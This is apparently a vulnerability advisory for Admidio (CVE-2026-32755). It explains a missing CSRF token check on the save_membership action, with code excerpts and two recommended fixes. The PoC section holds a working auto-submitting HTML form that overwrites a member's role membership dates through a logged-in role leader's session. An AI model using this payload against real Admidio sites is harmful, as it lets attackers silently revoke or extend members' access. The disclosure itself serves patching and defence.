PT-2026-25853 · Packagist · Admidio/Admidio
Fix 1: Add
Published
2026-03-16
·
Updated
2026-03-16
·
CVE-2026-32755
CVSS v3.1
5.7
| Vector | AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N |
Summary
The
save membership action in modules/profile/profile function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop membership and remove former membership against the CSRF token but omits save membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.Details
CSRF Check Is Absent for save membership
File:
D:/bugcrowd/admidio/repo/modules/profile/profile function.php, lines 40-42The CSRF guard covers only two of the three mutative modes:
if (in array($getMode, array('stop membership', 'remove former membership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($ POST['adm csrf token']); }
The
save membership mode is missing from this array. The handler then proceeds to read dates from $ POST and update the database without any token verification:} elseif ($getMode === 'save membership') { $postMembershipStart = admFuncVariableIsValid($ POST, 'adm membership start date', 'date', array('requireValue' => true)); $postMembershipEnd = admFuncVariableIsValid($ POST, 'adm membership end date', 'date', array('requireValue' => true)); $member = new Membership($gDb); $member->readDataByUuid($getMemberUuid); $role = new Role($gDb, (int)$member->getValue('mem rol id')); // check if user has the right to edit this membership if (!$role->allowedToAssignMembers($gCurrentUser)) { throw new Exception('SYS NO RIGHTS'); } // ... validates dates ... $role->setMembership($user->getValue('usr id'), $postMembershipStart, $postMembershipEnd, ...); echo 'success'; }
File:
D:/bugcrowd/admidio/repo/modules/profile/profile function.php, lines 131-169The Form Does Generate a CSRF Token (Not Validated)
File:
D:/bugcrowd/admidio/repo/modules/profile/roles functions.php, lines 218-241The membership date form is created via
FormPresenter, which automatically injects an adm csrf token hidden field into every form. However, the server-side save membership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.Who Can Be Exploited as the CSRF Victim
File:
D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121The
allowedToAssignMembers() check grants write access to:- Any user who is
(role administrators), orisAdministratorRoles() - Any user who is a leader of the target role when the role has
set torol leader rights
orROLE LEADER MEMBERS ASSIGNROLE LEADER MEMBERS ASSIGN EDIT
Role leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.
UUIDs Are Discoverable from HTML Source
The save URL for the membership date form is embedded in the profile page HTML:
/adm program/modules/profile/profile function.php?mode=save membership&user uuid=<UUID>&member uuid=<UUID>
Any authenticated member who can view a profile page can extract both UUIDs from the page source.
PoC
The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:
<!DOCTYPE html> <html> <body onload="document.getElementById('csrf form').submit()"> <form id="csrf form" method="POST" action="https://TARGET/adm program/modules/profile/profile function.php?mode=save membership&user uuid=<VICTIM USER UUID>&member uuid=<MEMBERSHIP UUID>"> <input type="hidden" name="adm membership start date" value="2000-01-01"> <input type="hidden" name="adm membership end date" value="2000-01-02"> </form> </body> </html>
Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).
Note: No
adm csrf token field is required because the server does not validate it for save membership.Impact
- Unauthorized membership date manipulation: A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.
- Effective access revocation: Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.
- Covert escalation: An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.
- No administrative approval required: The impact occurs silently on the victim's session with no confirmation dialog or notification email.
Recommended Fix
Fix 1: Add save membership
to the existing CSRF validation check
save membership// File: modules/profile/profile function.php, lines 40-42 if (in array($getMode, array('stop membership', 'remove former membership', 'save membership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($ POST['adm csrf token']); }
Fix 2: Use the form-object validation pattern (consistent with other write endpoints)
} elseif ($getMode === 'save membership') { // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.) $membershipForm = $gCurrentSession->getFormObject($ POST['adm csrf token']); $formValues = $membershipForm->validate($ POST); $postMembershipStart = $formValues['adm membership start date']; $postMembershipEnd = $formValues['adm membership end date']; // ... rest of save logic unchanged }
Fix
CSRF
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Admidio/Admidio